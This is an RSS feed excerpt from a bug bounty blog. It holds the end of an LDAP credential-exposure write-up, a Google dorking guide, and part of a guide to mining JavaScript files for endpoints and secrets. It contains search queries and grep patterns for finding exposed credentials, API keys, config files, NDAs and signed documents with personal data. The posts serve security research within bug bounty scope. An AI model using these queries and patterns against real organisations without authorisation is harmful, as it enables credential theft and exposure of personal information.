<h2 data-start="8389" data-end="8440">9. Exploitation Scenarios and Lateral Movement</h2>
<p data-start="8441" data-end="8512">Once an attacker has valid LDAP credential Exposure, the attack paths multiply:</p>
<ul data-start="8514" data-end="9236">
<li data-start="8514" data-end="8691">
<p data-start="8516" data-end="8691"><strong data-start="8516" data-end="8555">Active Directory Domain Compromise:</strong> If the service account has write permissions to <code data-start="8604" data-end="8618">userPassword</code>, an attacker could escalate privileges by resetting critical accounts.</p>
</li>
<li data-start="8692" data-end="8846">
<p data-start="8694" data-end="8846"><strong data-start="8694" data-end="8715">SSO Exploitation:</strong> Corporate Single Sign-On portals often use LDAP to authenticate users; stolen creds can allow direct access to web applications.</p>
</li>
<li data-start="8847" data-end="8956">
<p data-start="8849" data-end="8956"><strong data-start="8849" data-end="8870">Email Harvesting:</strong> LDAP directories usually list user email addresses—valuable for phishing campaigns.</p>
</li>
<li data-start="8957" data-end="9094">
<p data-start="8959" data-end="9094"><strong data-start="8959" data-end="8988">Credential Reuse Attacks:</strong> If the same password is used in other internal systems (e.g., Jenkins, Confluence), the risk compounds.</p>
</li>
<li data-start="9095" data-end="9236">
<p data-start="9097" data-end="9236"><strong data-start="9097" data-end="9123">Pass-the-Hash Tactics:</strong> Even without plaintext passwords, an attacker might extract or relay NTLM hashes via Kerberos or NTLM protocols.</p>
</li>
</ul>
<blockquote data-start="9238" data-end="9532">
<p data-start="9240" data-end="9532"><strong data-start="9240" data-end="9263">Real-World Outcome:</strong> At a Fortune 500 company, an attacker leveraged an exposed LDAP service account to enumerate all employees, then phished high-value targets with legitimate-looking internal URLs. Within 24 hours, they gained access to the CFO’s email and extracted financial forecasts.</p>
</blockquote>
<hr data-start="9534" data-end="9537" />
<h2 data-start="9539" data-end="9563">10. Impact Analysis</h2>
<p data-start="9564" data-end="9630">An <strong data-start="9567" data-end="9595">LDAP Credential Exposure</strong> vulnerability directly undermines:</p>
<ul data-start="9632" data-end="10151">
<li data-start="9632" data-end="9722">
<p data-start="9634" data-end="9722"><strong data-start="9634" data-end="9654">Confidentiality:</strong> Exposure of usernames, passwords, and internal network structure.</p>
</li>
<li data-start="9723" data-end="9819">
<p data-start="9725" data-end="9819"><strong data-start="9725" data-end="9739">Integrity:</strong> Unauthorized users binding with write privileges can alter directory entries.</p>
</li>
<li data-start="9820" data-end="9935">
<p data-start="9822" data-end="9935"><strong data-start="9822" data-end="9839">Availability:</strong> An attacker could overload the LDAP server with malicious queries, causing denial-of-service.</p>
</li>
<li data-start="9936" data-end="10040">
<p data-start="9938" data-end="10040"><strong data-start="9938" data-end="9964">Regulatory Compliance:</strong> Violations of GDPR, HIPAA, or SOX by exposing or modifying personal data.</p>
</li>
<li data-start="10041" data-end="10151">
<p data-start="10043" data-end="10151"><strong data-start="10043" data-end="10067">Business Continuity:</strong> Critical business applications relying on LDAP may become compromised or untrusted.</p>
</li>
</ul>
<p data-start="10153" data-end="10289">Attackers with directory access can rapidly escalate to full domain compromise, exfiltrate sensitive data, or disrupt critical services.</p>
<hr data-start="10291" data-end="10294" />
<h2 data-start="10296" data-end="10324">11. Mitigation Overview</h2>
<p data-start="10325" data-end="10427">While this write-up focuses on deep-dive analysis, here’s a concise set of high-level recommendations:</p>
<ul data-start="10429" data-end="10942">
<li data-start="10429" data-end="10512">
<p data-start="10431" data-end="10512"><strong data-start="10431" data-end="10470">Disable or Protect Debug Endpoints:</strong> Remove unused API routes in production.</p>
</li>
<li data-start="10513" data-end="10632">
<p data-start="10515" data-end="10632"><strong data-start="10515" data-end="10558">Enforce Authentication &amp; Authorization:</strong> Every internal endpoint must pass through an API gateway or middleware.</p>
</li>
<li data-start="10633" data-end="10753">
<p data-start="10635" data-end="10753"><strong data-start="10635" data-end="10667">Adopt Secure Secret Storage:</strong> Move credentials to vaults (e.g., HashiCorp Vault) and never encode them in Base64.</p>
</li>
<li data-start="10754" data-end="10839">
<p data-start="10756" data-end="10839"><strong data-start="10756" data-end="10787">Use Encrypted LDAP (LDAPS):</strong> Enforce TLS on directory binds (<code data-start="10820" data-end="10835">use_tls: true</code>).</p>
</li>
<li data-start="10840" data-end="10942">
<p data-start="10842" data-end="10942"><strong data-start="10842" data-end="10874">Implement Routine Pen Tests:</strong> Simulate reconnaissance and API fuzzing to catch exposures early.</p>
</li>
</ul>
<hr data-start="10944" data-end="10947" />
<h2 data-start="10949" data-end="10999">12. Broader Lessons for Developers and SecOps</h2>
<ol data-start="11000" data-end="11610">
<li data-start="11000" data-end="11109">
<p data-start="11003" data-end="11109"><strong data-start="11003" data-end="11030">Shift Left on Security:</strong> Integrate automated security checks (e.g., SAST, DAST) into CI/CD pipelines.</p>
</li>
<li data-start="11110" data-end="11220">
<p data-start="11113" data-end="11220"><strong data-start="11113" data-end="11146">Least Privilege Architecture:</strong> Service accounts should have only the minimal permissions they require.</p>
</li>
<li data-start="11221" data-end="11391">
<p data-start="11224" data-end="11391"><strong data-start="11224" data-end="11247">Environment Parity:</strong> Keep test, staging, and production environments closely aligned in configuration—so that stripping debug routes in one doesn’t break another.</p>
</li>
<li data-start="11392" data-end="11479">
<p data-start="11395" data-end="11479"><strong data-start="11395" data-end="11423">Comprehensive Inventory:</strong> Maintain an up-to-date map of all APIs and endpoints.</p>
</li>
<li data-start="11480" data-end="11610">
<p data-start="11483" data-end="11610"><strong data-start="11483" data-end="11509">Monitoring &amp; Alerting:</strong> Instrument critical routes with anomaly detection and alert on high-volume or unauthenticated calls.</p>
</li>
</ol>
<hr data-start="11612" data-end="11615" />
<h2 data-start="11617" data-end="11662">13. External Resources &amp; Further Reading</h2>
<ul data-start="11663" data-end="11998">
<li data-start="11663" data-end="11776">
<p data-start="11665" data-end="11776"><a href="https://tools.ietf.org/html/rfc4510" target="_blank" rel="noopener">RFC 4510 – LDAP: Technical Specification (detailed protocol reference)</a></p>
</li>
<li data-start="11777" data-end="11887">
<p data-start="11779" data-end="11887"><a href="https://owasp.org/www-project-api-security/" target="_blank" rel="noopener">OWASP API Security Top 10 (resource for API best practices)</a></p>
</li>
<li data-start="11888" data-end="11998">
<p data-start="11890" data-end="11998"><a href="https://www.vaultproject.io/docs/best-practices/" target="_blank" rel="noopener">HashiCorp Vault Best Practices (secure secret storage)</a></p>
</li>
</ul>
<hr data-start="12000" data-end="12003" />
<h2 data-start="12005" data-end="12024">14. Conclusion</h2>
<p data-start="12025" data-end="12340">The <strong data-start="12029" data-end="12057">LDAP Credential Exposure</strong> bug underscores how a single misconfigured endpoint can unravel an organization’s entire directory security posture. By examining each stage—from reconnaissance through exploitation and impact—we gain critical insights into both attacker methodologies and defender responsibilities.</p>
<blockquote data-start="12342" data-end="12599">
<p data-start="12344" data-end="12599">❗ <strong data-start="12346" data-end="12368">Take Action Today:</strong> Review your API surface, audit for any exposed directory configurations, and enforce robust access controls. Preventing an LDAP Credential Exposure could mean the difference between a contained incident and a full domain takeover.</p>
</blockquote>
<h2><span id="Final_Thoughts_Other_Bug_Bounty_Blogs">Final Thoughts : <a href="https://hackersatty.com/idor-vulnerability-api-bug-bounty-case-study/">Other Bug Bounty Blogs</a></span></h2>
<p>Google Dorking remains a powerful reconnaissance technique in modern bug bounty methodology. With the right mindset and crafted queries, it’s possible to uncover sensitive files, misconfigurations, credentials, and more—without sending a single request to the server. This makes it especially useful for stealthy or scope-sensitive bug bounty programs.</p>
<p>Remember: always stay within scope, validate what you find, and follow responsible disclosure guidelines.</p>
<p><strong>Keep exploring. Keep hunting.</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/ldap-credential-exposure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">480</post-id>	</item>
		<item>
		<title>25+ Google Dorks for Bug Bounty: Find Exposed Signatures, NDAs &#038; Confidential Docs</title>
		<link>https://hackersatty.com/google-dorks-bug-bounty-guide/</link>
					<comments>https://hackersatty.com/google-dorks-bug-bounty-guide/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Fri, 18 Jul 2025 10:46:28 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[bug bounty 2025]]></category>
		<category><![CDATA[Google Dorks]]></category>
		<category><![CDATA[Google Dorks Bug Bounty]]></category>
		<category><![CDATA[Information Disclosure 2025]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=437</guid>

					<description><![CDATA[By Satyam Pawale (@hackersatty) About Me Google Dorks Bug bounty is one of the most underrated skills in bug bounty hunting, yet it can lead to discovering high-severity and real-world &#8230; <a href="https://hackersatty.com/google-dorks-bug-bounty-guide/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<p data-start="415" data-end="450"><strong data-start="415" data-end="450">By Satyam Pawale (@hackersatty)</strong></p>
<h2 data-start="452" data-end="463">About Me</h2>
<p data-start="465" data-end="885">Google Dorks Bug bounty is one of the most underrated skills in bug bounty hunting, yet it can lead to discovering high-severity and real-world vulnerabilities. I&#8217;m Satyam Pawale, widely known in the cybersecurity community as <strong data-start="683" data-end="699">@hackersatty</strong>. As a passionate bug bounty hunter, I specialize in uncovering impactful bugs through creative reconnaissance techniques, especially using publicly available search engines like Google.</p>
<p data-start="887" data-end="1286">In this article, I’ll show you how to perform actionable bug bounty reconnaissance using <strong data-start="976" data-end="992">Google Dorks</strong> Bug bounty to discover sensitive information like <strong data-start="1032" data-end="1090">signature pages, NDAs, internal contracts, credentials</strong>, and other confidential files that are often unintentionally exposed on the web. Whether you&#8217;re a beginner or a seasoned hunter, you&#8217;ll learn how to add this powerful skill to your recon arsenal.</p>
<p data-start="1288" data-end="1348">Let’s dive deep into the art of dorking for vulnerabilities.</p>
<h2 data-pm-slice="1 1 []">Introduction</h2>
<p>Google Dorking, also known as Google hacking, is an advanced search technique used to find exposed sensitive information through the use of tailored Google queries. For bug bounty hunters, Google Dorks Bug Bounty can serve as a gateway to discovering misconfigurations, exposed credentials, hidden portals, and even full documents that were never meant to be public.</p>
<p>I’m Satyam Pawale, widely known in the cybersecurity community as @hackersatty. As a passionate bug bounty hunter, I specialize in unearthing hidden vulnerabilities and valuable assets using methods that are both manual and automation-driven. Google Dorking is one of the oldest yet still highly effective methods for performing reconnaissance during bug bounty assessments.</p>
<p>In this article, we’ll walk through real-world examples, advanced Google Dork techniques, signature hunting, and tips to optimize your bug bounty recon. Whether you&#8217;re just starting out or already deep into bug bounty hunting, this guide will give you a fresh edge using Google search itself.</p>
<div>
<hr />
</div>
<h2>What is Google Dorking?</h2>
<p>Google Dorking involves using special search operators to extract hidden information from public-facing websites. The idea is that Google indexes everything—sometimes more than it should—and by crafting specific queries, you can find pages that developers never intended to be indexed.</p>
<p><strong>Focus Keyword:</strong> Google Dorks Bug Bounty</p>
<div>
<hr />
</div>
<h2>Why Use Google Dorks Bug Bounty?</h2>
<p>Bug bounty is about scope, precision, and creativity. Often, the most critical bugs are buried in obscure or forgotten assets. Google Dorks Bug Bounty let you:</p>
<ul data-spread="false">
<li>Find sensitive documents (PDF, XLSX, DOCX, TXT)</li>
<li>Uncover exposed login panels and admin consoles</li>
<li>Locate API keys or credentials in indexed pages</li>
<li>Discover configuration files or server info</li>
<li>Reveal staging environments and forgotten subdomains</li>
</ul>
<p>Google Dorks extend your recon capabilities without the need for intrusive scanning.</p>
<div>
<hr />
</div>
<h2>Real-World Examples of Google Dorks Bug Bounty</h2>
<h3>1. Finding Exposed PDF Contracts</h3>
<pre><code>site:example.com filetype:pdf confidential</code></pre>
<p>Use this to find PDF files with potentially sensitive contracts or agreements. Add <code>intitle:"nda"</code> to refine for NDAs.</p>
<pre><code>site:example.com filetype:pdf intitle:nda</code></pre>
<h3>2. Discovering Passwords in GitHub Repos</h3>
<pre><code>site:github.com "api_key" "example.com"</code></pre>
<p>Search GitHub for exposed API keys linked to your target.</p>
<h3>3. Login Panel Discovery</h3>
<pre><code>site:example.com inurl:admin</code></pre>
<pre><code>site:example.com intitle:"login"</code></pre>
<p>Great for finding potential login endpoints and bypassing public-facing dashboards.</p>
<h3>4. Configuration Files Exposure</h3>
<pre><code>site:example.com ext:env | ext:yaml | ext:json</code></pre>
<p>Many <code>.env</code>, <code>.yaml</code>, or <code>.json</code> files contain DB credentials and API tokens.</p>
<h3>5. Index Pages and Directory Listings</h3>
<pre><code>site:example.com intitle:"index of /"</code></pre>
<p>Use this to locate open directories or file servers.</p>
<div>
<hr />
</div>
<h2>Dork Crafting Approach</h2>
<p>A smart bug bounty hunter understands how to craft dorks per asset type. Here&#8217;s how to approach it:</p>
<h3>Step 1: Understand the Asset Type</h3>
<ul data-spread="false">
<li><strong>Web apps</strong>: Look for login pages, dashboards</li>
<li><strong>APIs</strong>: Look for documentation, keys, usage logs</li>
<li><strong>Documents</strong>: PDFs, Excel sheets, TXT notes</li>
<li><strong>Cloud Storage</strong>: Google Drive, AWS S3, Firebase</li>
</ul>
<h3>Step 2: Combine Keywords &amp; Operators</h3>
<p>Use logical operators:</p>
<ul data-spread="false">
<li><code>site:</code> to limit to a domain</li>
<li><code>filetype:</code> to find specific formats</li>
<li><code>intitle:</code> for keyword in title</li>
<li><code>inurl:</code> for keyword in URL</li>
<li><code>cache:</code> to view old or deleted versions</li>
</ul>
<h3>Step 3: Add Contextual Terms</h3>
<p>Terms like &#8220;confidential&#8221;, &#8220;internal use only&#8221;, &#8220;do not share&#8221;, &#8220;restricted&#8221; often lead to gold mines.</p>
<pre><code>site:example.com filetype:pdf "internal use only"</code></pre>
<div>
<hr />
</div>
<h2>Advanced Signature Hunting Using Google Dorks</h2>
<p>A powerful tactic is finding <strong>signature pages</strong> that contain document footers, author names, company templates, or timestamp structures. You can do this by:</p>
<h3>Searching for Signature Markers</h3>
<pre><code>site:example.com filetype:pdf "Signature"</code></pre>
<pre><code>site:example.com filetype:pdf "Authorized Signatory"</code></pre>
<p><strong>These can reveal:</strong></p>
<ul data-spread="false">
<li>Contractual documents</li>
<li>Signed NDAs</li>
<li>Employment documents</li>
<li>Partnership forms</li>
</ul>
<p>Sometimes these documents contain personal info, email IDs, full addresses, or contract clauses—providing strong reconnaissance material or even PII disclosures.</p>
<h3>Example:</h3>
<pre><code>site:gov.in filetype:pdf "Signature"</code></pre>
<p>Results may include tender documents with authorizing signatories and sensitive contact information.</p>
<div>
<hr />
</div>
<h2>Hunting Exposed IP Addresses</h2>
<p>You can look for IP addresses by searching for headers or configuration exposures:</p>
<pre><code>site:example.com intext:"X-Forwarded-For:"</code></pre>
<pre><code>site:example.com intext:"Server IP"</code></pre>
<p>These dorks help you track misconfigured headers or identify internal infrastructure.</p>
<figure id="attachment_439" aria-describedby="caption-attachment-439" style="width: 1024px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="size-large wp-image-439" src="https://hackersatty.com/wp-content/uploads/2025/07/google-dorks-1024x583.png" alt="Google Dorks Collection for Bug Bounty and OSINT by Satyam Pawale on GitHub – A curated list of powerful search queries to uncover sensitive information, misconfigurations, and exposed assets for ethical hacking and security research." width="1024" height="583" title="25+ Google Dorks for Bug Bounty: Find Exposed Signatures, NDAs &amp; Confidential Docs 7" srcset="https://hackersatty.com/wp-content/uploads/2025/07/google-dorks-1024x583.png 1024w, https://hackersatty.com/wp-content/uploads/2025/07/google-dorks-300x171.png 300w, https://hackersatty.com/wp-content/uploads/2025/07/google-dorks-768x437.png 768w, https://hackersatty.com/wp-content/uploads/2025/07/google-dorks-1536x874.png 1536w, https://hackersatty.com/wp-content/uploads/2025/07/google-dorks-600x342.png 600w, https://hackersatty.com/wp-content/uploads/2025/07/google-dorks.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-439" class="wp-caption-text">Explore the ultimate Google Dorks collection by <a href="https://github.com/hackersatty/Bug-Bounty-Dorks/blob/main/top-75-google-dorks-Bug-bounty" target="_blank" rel="noopener">Satyam Pawale (@hackersatty) on GitHub</a> – crafted for bug bounty hunters and OSINT researchers to uncover hidden vulnerabilities and exposed data.</figcaption></figure>
<div>
<hr />
</div>
<h2>Practical Use in Bug Bounty Programs</h2>
<p>Here’s how to leverage these discoveries:</p>
<h3>Recon Stage</h3>
<ul data-spread="false">
<li>Use Google Dorks to discover undocumented subdomains and portals.</li>
<li>Validate sensitive file exposure.</li>
</ul>
<h3>Exploitation Stage</h3>
<ul data-spread="false">
<li>Analyze PDF/Excel documents for hardcoded credentials or PII.</li>
<li>Use configuration files to attempt login or privilege escalation.</li>
</ul>
<h3>Reporting Stage</h3>
<ul data-spread="false">
<li>Provide the full Dork used.</li>
<li>Include metadata (e.g., PDF timestamp, author info).</li>
<li>Explain potential impact (e.g., credential reuse, data leakage).</li>
</ul>
<div>
<hr />
</div>
<h2>Tips to Avoid False Positives</h2>
<ul data-spread="false">
<li>Validate URLs using tools like <code>curl</code>, <code>wget</code>, or <code>Burp Suite</code>.</li>
<li>Use Google Cache to grab deleted or moved files.</li>
<li>Be cautious of decoy pages or honeypots.</li>
</ul>
<div>
<hr />
</div>
<h2>Tools to Combine With Google Dorks</h2>
<ul data-spread="false">
<li><a href="https://github.com/hackersatty/Bug-Bounty-Dorks/blob/main/top-75-google-dorks-Bug-bounty" target="_blank" rel="noopener"><strong>GitHub Dorking Tools</strong></a>: Use <code>github-dork</code> to automate GitHub leak discovery.</li>
<li><a href="https://www.exploit-db.com/google-hacking-database" target="_blank" rel="noopener"><strong>GoogleHackingDatabase</strong></a>: Explore pre-built dorks from Exploit-DB.</li>
<li><strong>DorkScanner</strong>: Automates mass scanning with custom dorks.</li>
<li><strong>Burp Suite</strong>: Validate endpoints or files.</li>
</ul>
<div>
<hr />
</div>
<h2>Final Thoughts : <a href="https://hackersatty.com/idor-vulnerability-api-bug-bounty-case-study/">Other Bug Bounty Blogs</a></h2>
<p>Google Dorking remains a powerful reconnaissance technique in modern bug bounty methodology. With the right mindset and crafted queries, it’s possible to uncover sensitive files, misconfigurations, credentials, and more—without sending a single request to the server. This makes it especially useful for stealthy or scope-sensitive bug bounty programs.</p>
<p>Remember: always stay within scope, validate what you find, and follow responsible disclosure guidelines.</p>
<p>Keep exploring. Keep hunting.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/google-dorks-bug-bounty-guide/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">437</post-id>	</item>
		<item>
		<title>Powerful $1000 Bug Bounty Guide: Discover Hidden Endpoints in JavaScript JS Files</title>
		<link>https://hackersatty.com/javascript-js-file-analysis-bug-bounty-guide/</link>
					<comments>https://hackersatty.com/javascript-js-file-analysis-bug-bounty-guide/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Tue, 17 Jun 2025 18:23:56 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[bug bounty for beginners]]></category>
		<category><![CDATA[bug bounty hunter]]></category>
		<category><![CDATA[bug bounty reports]]></category>
		<category><![CDATA[bug bounty tools]]></category>
		<category><![CDATA[Bug Bounty writeup]]></category>
		<category><![CDATA[javascript file analysis]]></category>
		<category><![CDATA[javascript js file]]></category>
		<category><![CDATA[learn bug bounty hunting]]></category>
		<category><![CDATA[read javascript file]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=418</guid>

					<description><![CDATA[Satyam Pawale (@hackersatty) Introduction If you&#8217;re a bug bounty hunter, JavaScript js files should be your best friends. They’re often overlooked but loaded with critical clues like hidden API endpoints, &#8230; <a href="https://hackersatty.com/javascript-js-file-analysis-bug-bounty-guide/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<p data-start="500" data-end="600"><strong data-start="500" data-end="540">Satyam Pawale (@hackersatty)</strong></p>
<hr data-start="602" data-end="605" />
<h2 data-start="607" data-end="622">Introduction</h2>
<p data-start="624" data-end="829">If you&#8217;re a bug bounty hunter, JavaScript js files should be your best friends. They’re often overlooked but loaded with critical clues like hidden API endpoints, hardcoded secrets, and sensitive directories.</p>
<p data-start="831" data-end="1119">In this guide, I’ll walk you through <strong data-start="868" data-end="906">how I use JavaScript file analysis</strong> to find real vulnerabilities and boost my bug bounty payouts. You’ll learn practical regex commands, tooling, and techniques to automate this process—even if you’re just getting started in <strong data-start="1096" data-end="1118">bug bounty hunting</strong>.</p>
<hr data-start="1121" data-end="1124" />
<h2 data-start="1126" data-end="1156">Why JavaScript Files Matter</h2>
<p data-start="1158" data-end="1256">JavaScript (JS) files aren’t just for front-end logic. Developers often leave sensitive info like:</p>
<ul data-start="1258" data-end="1389">
<li data-start="1258" data-end="1281">
<p data-start="1260" data-end="1281">Internal API routes</p>
</li>
<li data-start="1282" data-end="1309">
<p data-start="1284" data-end="1309">Auth tokens or API keys</p>
</li>
<li data-start="1310" data-end="1350">
<p data-start="1312" data-end="1350">Endpoints not listed in Swagger docs</p>
</li>
<li data-start="1351" data-end="1389">
<p data-start="1353" data-end="1389">Logic that reveals hidden features</p>
</li>
</ul>
<p data-start="1391" data-end="1481">They can expose the <strong data-start="1411" data-end="1439">entire backend structure</strong>, giving you a big advantage during recon.</p>
<hr data-start="1483" data-end="1486" />
<h2 data-start="1488" data-end="1540">Step 1: How to Read and Download JavaScript Files</h2>
<p data-start="1542" data-end="1695">You can find JavaScript files by opening <strong data-start="1583" data-end="1604">browser dev tools</strong>, going to the <strong data-start="1619" data-end="1630">Network</strong> tab, and filtering for <code data-start="1654" data-end="1659">.js</code>. Copy their URLs or use tools like:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">wget https://target.com/assets/app.js<br />
curl -O https://target.com/static/main.js<br />
</code></div>
</div>
<p data-start="1790" data-end="1828">Other tools to automate JS collection:</p>
<ul data-start="1829" data-end="1862">
<li data-start="1829" data-end="1844">
<p data-start="1831" data-end="1844"><code data-start="1831" data-end="1844">waybackurls</code></p>
</li>
<li data-start="1845" data-end="1852">
<p data-start="1847" data-end="1852"><code data-start="1847" data-end="1852">gau</code></p>
</li>
<li data-start="1853" data-end="1862">
<p data-start="1855" data-end="1862"><code data-start="1855" data-end="1862">subjs</code></p>
</li>
</ul>
<hr data-start="1864" data-end="1867" />
<h2 data-start="1869" data-end="1917">Step 2: Extract API Endpoints and Directories</h2>
<p data-start="1919" data-end="2002">JS files often contain relative or full API paths. Here’s a quick way to pull them:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">grep -Eo <span class="hljs-string">'("|\'</span>)(/[^<span class="hljs-string">"'\`]+)("</span>|\')<span class="hljs-string">' *.js | sort -u<br />
</span></code></div>
</div>
<p data-start="2067" data-end="2076">Look for:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-string">"/api/v1/user/"</span><br />
<span class="hljs-string">"/uploads/images/"</span><br />
<span class="hljs-string">"/admin/config/"</span><br />
</code></div>
</div>
<p data-start="2138" data-end="2220">These could be unprotected routes or useful for further attacks like IDOR or SSRF.</p>
<hr data-start="2222" data-end="2225" />
<h2 data-start="2227" data-end="2257">Step 3: Detect HTTP Methods</h2>
<p data-start="2259" data-end="2336">APIs don’t only use GET. JS files show all HTTP verbs like POST, PUT, DELETE:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-js"><span class="hljs-title function_">fetch</span>(<span class="hljs-string">"/api/v1/update"</span>, { <span class="hljs-attr">method</span>: <span class="hljs-string">"POST"</span> })<br />
axios.<span class="hljs-title function_">post</span>(<span class="hljs-string">"/user/data"</span>, { <span class="hljs-attr">data</span>: payload })<br />
</code></div>
</div>
<p data-start="2437" data-end="2467">To extract them automatically:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9">
<div class="absolute end-0 bottom-0 flex h-9 items-center pe-2">
<div class="bg-token-bg-elevated-secondary text-token-text-secondary flex items-center gap-4 rounded-sm px-2 font-sans text-xs"></div>
</div>
</div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">grep -Eo <span class="hljs-string">'fetch\([^)]*\)|axios\.[a-z]+'</span> *.js | <span class="hljs-built_in">sort</span> -u<br />
</code></div>
</div>
<p data-start="2537" data-end="2587">Look for dynamic methods or hidden admin requests.</p>
<hr data-start="2589" data-end="2592" />
<h2 data-start="2594" data-end="2633">Step 4: Search for Hardcoded Secrets</h2>
<p data-start="2635" data-end="2710">Sometimes developers leave keys right inside the JS. Use this to find them:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">grep -Eo <span class="hljs-string">'[A-Za-z0-9_-]{30,}'</span> *.js | <span class="hljs-built_in">sort</span> -u<br />
</code></div>
</div>
<p data-start="2770" data-end="2790">What you might find:</p>
<ul data-start="2791" data-end="2860">
<li data-start="2791" data-end="2808">
<p data-start="2793" data-end="2808">Firebase keys</p>
</li>
<li data-start="2809" data-end="2828">
<p data-start="2811" data-end="2828">AWS credentials</p>
</li>
<li data-start="2829" data-end="2844">
<p data-start="2831" data-end="2844">JWT secrets</p>
</li>
<li data-start="2845" data-end="2860">
<p data-start="2847" data-end="2860">Stripe tokens</p>
</li>
</ul>
<p data-start="2862" data-end="2900">Also try searching for these keywords:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-attribute">api_key</span><br />
secret<br />
token<br />
access_token<br />
</code></div>
</div>
<hr data-start="2944" data-end="2947" />
<h2 data-start="2949" data-end="2987">Step 5: Automate the Entire Process</h2>
<h3 data-start="2989" data-end="3025">Tools That Help You Hunt Faster:</h3>
<ul data-start="3027" data-end="3223">
<li data-start="3027" data-end="3071">
<p data-start="3029" data-end="3071"><strong data-start="3029" data-end="3043">LinkFinder</strong> – Extract endpoints from JS</p>
</li>
<li data-start="3072" data-end="3123">
<p data-start="3074" data-end="3123"><strong data-start="3074" data-end="3090">SecretFinder</strong> – Find secrets, keys, and tokens</p>
</li>
<li data-start="3124" data-end="3165">
<p data-start="3126" data-end="3165"><strong data-start="3126" data-end="3136">JSleak</strong> – Powerful tool for JS recon</p>
</li>
<li data-start="3166" data-end="3223">
<p data-start="3168" data-end="3223"><strong data-start="3168" data-end="3177">catjs</strong> – Highly customizable regex-based JS analyzer</p>
</li>
</ul>
<h3 data-start="3225" data-end="3246">Example Workflow:</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">subjs domain.com | httpx -mc 200 | xargs -n1 wget<br />
grep -Eo <span class="hljs-string">'("|\'</span>)(/[^<span class="hljs-string">"'\`]+)("</span>|\')<span class="hljs-string">' *.js &gt; endpoints.txt<br />
grep -Eo '</span>[A-Za-z0-9_-]{30,}<span class="hljs-string">' *.js &gt; secrets.txt<br />
</span></code></div>
</div>
<hr data-start="3416" data-end="3419" />
<h2 data-start="3421" data-end="3460">Step 6: Fuzzing Discovered Endpoints</h2>
<p data-start="3462" data-end="3519">Once you’ve collected endpoints from JS, test them using:</p>
<ul data-start="3520" data-end="3629">
<li data-start="3520" data-end="3550">
<p data-start="3522" data-end="3550"><code data-start="3522" data-end="3528">ffuf</code> for directory fuzzing</p>
</li>
<li data-start="3551" data-end="3592">
<p data-start="3553" data-end="3592"><code data-start="3553" data-end="3568">Burp Intruder</code> for parameter injection</p>
</li>
<li data-start="3593" data-end="3629">
<p data-start="3595" data-end="3629"><code data-start="3595" data-end="3603">Nuclei</code> for known vulnerabilities</p>
</li>
</ul>
<p data-start="3631" data-end="3650">You might discover:</p>
<ul data-start="3651" data-end="3760">
<li data-start="3651" data-end="3677">
<p data-start="3653" data-end="3677">Unauthenticated access</p>
</li>
<li data-start="3678" data-end="3710">
<p data-start="3680" data-end="3710">Broken access control (IDOR)</p>
</li>
<li data-start="3711" data-end="3737">
<p data-start="3713" data-end="3737">Debug or dev-only APIs</p>
</li>
<li data-start="3738" data-end="3760">
<p data-start="3740" data-end="3760">Misconfigured routes</p>
</li>
</ul>
<h2 data-start="190" data-end="263">Step 7: Analyze JavaScript for Parameter Names and Sensitive Variables</h2>
<p data-start="265" data-end="460">When developers write frontend JavaScript, they often pass user input or internal values as parameters to API calls or functions. These variable names can help you craft <strong data-start="435" data-end="454">smarter attacks</strong> like:</p>
<ul data-start="462" data-end="528">
<li data-start="462" data-end="487">
<p data-start="464" data-end="487"><strong data-start="464" data-end="487">Parameter pollution</strong></p>
</li>
<li data-start="488" data-end="498">
<p data-start="490" data-end="498"><strong data-start="490" data-end="498">IDOR</strong></p>
</li>
<li data-start="499" data-end="518">
<p data-start="501" data-end="518"><strong data-start="501" data-end="518">Open redirect</strong></p>
</li>
<li data-start="519" data-end="528">
<p data-start="521" data-end="528"><strong data-start="521" data-end="528">XSS</strong></p>
</li>
</ul>
<hr data-start="530" data-end="533" />
